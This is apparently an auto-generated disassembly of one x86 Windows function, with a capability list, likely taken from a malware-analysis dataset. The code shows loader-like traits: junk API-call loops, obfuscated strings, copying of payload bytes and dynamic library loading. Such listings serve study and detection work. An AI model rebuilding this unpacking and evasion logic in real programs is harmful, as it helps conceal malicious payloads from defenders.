Function at 0x4167c0
Capabilities:
Copy file
Create pipe
Get disk information
Get file attributes
Get hostname
Move file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1454
call fcn.00407000
mov eax, dword [0x41a008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
push edi
xor edi, edi
jmp 0x4167f0
cmp dword [0x511ce4], 0x7d
jne 0x416824
push 0
lea eax, [ebp - 0x1004]
push eax
lea ecx, [ebp - 0x144c]
push ecx
lea edx, [ebp - 0x1444]
push edx
lea eax, [ebp - 0x1448]
push eax
push 0
lea ecx, [ebp - 0x404]
push ecx
push 0
call ebx
cmp edi, 0x4d4
jne 0x41683e
mov edx, dword [0x41b6a0]
add edx, 0x9e49
mov dword [0x511ce4], edx
cmp dword [0x511ce4], 0xcf9
jne 0x416883
xor ecx, ecx
xor eax, eax
lea edx, [ebp - 0x1440]
push edx
mov word [ebp - 0x143c], ax
mov word [ebp - 0x143a], cx
mov eax, dword [ebp - 0x143c]
push eax
push ecx
push ecx
push ecx
call esi
mov dword [0x41c298], 0xec58ac98
mov dword [0x41c29c], 0xffffffff
inc edi
cmp edi, 0x114becc
jl 0x4167f0
mov edi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
xor esi, esi
cmp esi, 0x56051f
jne 0x4168ac
mov ecx, dword [0x41aed8]
mov dword [0x511e14], ecx
cmp dword [0x511ce4], 0x3c
jne 0x4168b9
push 0
call edi
inc esi
cmp esi, 0x4cab834c
jl 0x416898
cmp dword [0x511ce4], 0x7c
jne 0x4169df
push 0
push 0
lea edx, [ebp - 0x1440]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
call dword [sym.imp.USER32.dll_GetFocus]
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push 0x2e
lea eax, [ebp - 0x1434]
push esi
push eax
mov dword [ebp - 0x1438], esi
call fcn.004047d0
add esp, 0xc
push esi
lea ecx, [ebp - 0x1438]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
push esi
push esi
lea edx, [ebp - 0x144c]
push edx
mov dword [ebp - 0x144c], esi
call dword [sym.imp.KERNEL32.dll_CreatePipe]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ecx, ecx
xor eax, eax
mov word [ebp - 0x1442], cx
xor edx, edx
mov word [ebp - 0x143a], ax
lea ecx, [ebp - 0x1454]
push ecx
mov word [ebp - 0x143c], dx
mov edx, dword [ebp - 0x143c]
push edx
mov word [ebp - 0x1444], ax
mov eax, dword [ebp - 0x1444]
push eax
lea ecx, [ebp - 0x1448]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
push esi
lea edx, [ebp - 0x404]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
cmp dword [0x511ce4], 0x11
jne 0x4169c0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ObjectPrivilegeAuditAlarmA]
cmp dword [0x511ce4], 0x2d
jne 0x4169d0
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call fcn.00401168
push esi
call fcn.0040117e
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_SetCommState]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea ecx, [ecx]
push 0
push 0
call edi
call ebx
cmp esi, 0x24c07
jg 0x416a09
inc esi
cmp esi, 0xeab1b
jl 0x4169f0
cmp dword [0x511ce4], 0x2a
jne 0x416ac2
xor esi, esi
push esi
mov dword [0x511cd8], esi
mov dword [0x511cdc], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
lea eax, [ebp - 0x1440]
push eax
lea ecx, [ebp - 0x1404]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
lea edx, [ebp - 0x1448]
push edx
push str.sutelizunosisibure
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push esi
push esi
lea eax, [ebp - 0x404]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push esi
lea ecx, [ebp - 0xc04]
push ecx
push str.tekeragej
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
push esi
push esi
call fcn.0040100f
push esi
push esi
call fcn.00401189
push esi
call fcn.0040109e
push esi
push esi
call fcn.0040100f
call fcn.004072fe
push esi
push esi
call fcn.0040100f
push esi
call fcn.0040109e
add esp, 0x28
push esi
call fcn.00401644
call fcn.004164a0
mov ecx, dword [0x511ce4]
xor eax, eax
test ecx, ecx
jbe 0x416b0d
mov edi, dword [0x511e14]
mov esi, dword [0x511b2c]
mov edx, 0x17bc
jmp 0x416af0
mov bl, byte [edi + eax + 0x9e49]
mov byte [eax + esi], bl
cmp ecx, 0x8d
jne 0x416b08
mov dword [0x511b30], edx
inc eax
cmp eax, ecx
jb 0x416af0
push str.gavosebisiv
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.004164d0
call fcn.00416720
mov edi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, dword [sym.imp.KERNEL32.dll_GetStdHandle]
xor esi, esi
cmp dword [0x511ce4], 0x41
jne 0x416b4d
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
cmp esi, 0xd606b
jne 0x416b5a
call fcn.004164c0
cmp dword [0x511ce4], 0xc
jne 0x416b70
lea edx, [ebp - 0x1440]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc esi
cmp esi, 0x24e87d
jl 0x416b30
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, 0x1d5ed5
mov edi, 0x8e4e4fe0
lea esp, [esp]
cmp dword [0x511ce4], 0x7c4
mov dword [0x511b34], edi
jne 0x416ba9
push str.wumefalijocenor
call esi
sub ebx, 1
jne 0x416b90
mov ecx, dword [ebp - 0x1428]
pop edi
pop esi
xor eax, eax
pop ebx
lea esp, [esp]
cmp eax, 0x408e
jle 0x416bcf
cmp ecx, 0xf5bed7
jne 0x416bd7
inc eax
cmp eax, 0x687ed2
jl 0x416bc0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret